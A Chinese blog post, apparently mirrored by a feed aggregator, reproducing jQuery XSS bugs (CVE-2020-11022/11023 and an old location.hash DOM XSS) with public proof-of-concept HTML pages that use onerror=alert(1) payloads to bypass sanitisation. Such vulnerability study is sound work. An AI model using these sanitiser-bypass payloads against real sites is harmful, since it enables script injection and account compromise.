惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
SegmentFault 最新的问题
B
Blog
P
Proofpoint News Feed
美团技术团队
The GitHub Blog
The GitHub Blog
Y
Y Combinator Blog
A
About on SuperTechFans
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Vercel News
Vercel News
有赞技术团队
有赞技术团队
小众软件
小众软件
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Google DeepMind News
Google DeepMind News
Martin Fowler
Martin Fowler
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
aimingoo的专栏
aimingoo的专栏
H
Help Net Security
罗磊的独立博客
L
LangChain Blog
GbyAI
GbyAI
腾讯CDC
T
The Blog of Author Tim Ferriss
Microsoft Security Blog
Microsoft Security Blog

Mox的笔记库

2026PPoPP MLIR Tutorial学习 | Mox的笔记库 MacOS配置《明日方舟:终末地》 | Mox的笔记库 2025:向内生长 | Mox的笔记库 由mlir::ExecutionEngine引发的跨系统问题 | Mox的笔记库 WSL2配置Cuda-Tile环境记录(未完待续) | Mox的笔记库 Vibe Coding手搓项目记录 | Mox的笔记库 给Debian上包——以DuckDB为例 | Mox的笔记库 UCPD.sys事件存档 | Mox的笔记库 换新电脑之Mac mini M4从购买到配置 | Mox的笔记库 Mac配置MLX-C开发环境 | Mox的笔记库 RISC-V meets RDBMS——RISC-V架构上可运行数据库一览 | Mox的笔记库 DuckDB Sort实现调查 | Mox的笔记库 修复Redis在树莓派5上无法运行的问题 | Mox的笔记库 如何在MLIR中自定义类型并且输出运行 | Mox的笔记库 网站网络结构变更记录 | Mox的笔记库 EDBT25论文阅读:PhoebeDB——A Disk-Based RDBMS Kernel for High-Performance and Cost-Effective OLTP SIGMOD25论文阅读:BPF-DB:——A Kernel-Embedded Transactional Database Management System For eBPF Applications Apache Arrow Gandiva项目解析 | Mox的笔记库 VLDB24论文阅读:Cloud-Native Database Systems and Unikernels——Reimagining OS Abstractions for Modern Hardware NoisePage源码分析(未完待续) | Mox的笔记库 VLDB20论文阅读:Mainlining Databases——Supporting Fast Transactional Workloads on Universal Columnar Data File Formats VLDB17论文阅读:Relaxed Operator Fusion for In-Memory Databases:Making Compilation, Vectorization, and Prefetching Work Together At Last 论文阅读:How not to structure your database-backed web applications——a study of performance bugs in the wild SIGMOD24阅读:ROME——Robust Query Optimization via Parallel Multi-Plan Execution 文章阅读:First Past the Post-Evaluating Query Optimization in MongoDB SIGMOD文章阅读:Apache Calcite——A Foundational Framework for Optimized Query Processing Over Heterogeneous Data Sources VLDB23论文阅读:Analyzing the Impact of Cardinality Estimation on Execution Plans in Microsoft SQL Server SIGMOD22论文阅读:Efficient Massively Parallel Join Optimization for Large Queries VLDB论文阅读:Weaving Relations for Cache Performance VLDB22论文阅读:ConnectorX——Accelerating Data Loading From Databases to Dataframes
JQuery的XSS初探 | Mox的笔记库
MocusEZ · 2023-09-08 · via Mox的笔记库

一年前上课时搜到的问题,当时正在学习JQuery开发

我对JQuery开发是不怎么感兴趣的:前后端分离项目都是清一色的Vue和React,前后端不分离也有Alpine.js,Layui这种更贴近原生JS的解决方案。这篇帖子旧纪录下我所看到的情况。

反正XSS(跨站脚本)不算洞,对吧🤣

CVE-2020-11022/CVE-2020-11023

https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

该靶场提供了有关CVE-2020-11022/CVE-2020-11023的测试,影响范围从JQuery V1.2.0-V3.5.0

复现代码:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>

<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script>

</head>

<body>

<script>

function test(n,jq){

sanitizedHTML = document.getElementById('poc'+n).innerHTML;

if(jq){

$('#div').html(sanitizedHTML);

}else{

div.innerHTML=sanitizedHTML;

}

}

</script>

<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>

<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a></p>

<h2>PoC 1</h2>

<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>

<xmp id="poc1">

<style><style /><img src=x onerror=alert(1)>

</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>

<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>

<xmp id="poc2">

<img alt="<x" title="/><img src=x onerror=alert(1)>">

</xmp>

<h2>PoC 3</h2>

<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>

<xmp id="poc3">

<option><style></option></select><img src=x onerror=alert(1)></style>

</xmp>

<div id="div"></div>

</body>

</html>

触发条件:

  1. 系统使用 jQuery 的 html()、append() 或 $('<tag>') 等方法处理用户输入;
  2. 用户输入已经过“消毒”(sanitize)处理。

Mitre对该漏洞的描述

passing HTML from untrusted sources - even after sanitizing it - to one of jQuery’s DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

感觉下面这篇CSDN说的不错了,偷懒不写了

Web安全-JQuery框架XSS漏洞浅析

正在表达式没有覆盖导致的问题

与这个漏洞相关的pwnfuction题目

DOM型 XSS(CVE-2016-7103等)

正则表达式存在缺陷,导致location.hash跨站脚本攻击

Jquery BigTracker

复现代码

<!DOCTYPE html>

<html lang="zh">

<head>

<title>Jquery XSS</title>

<script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script>

<script>

$(function () {

//$(location.hash);

var e= location.hash.split('#')[1];

$(e)

})

</script>

</head>

<body>

<h1>JQuery with XSS Demo</h1>

<li>

<a href="#<img src=/ οnerrοr=alert(1)>" target="_blank">Click here!</a>

</li>

</body>

</html>

上古老洞🤣,Chrome和Firefox都无法触发(貌似是被转义了),要用IE才能测试出来。

资料

query XSS漏洞(CVE-2020-11022)


avatar

探索未曾设想的道路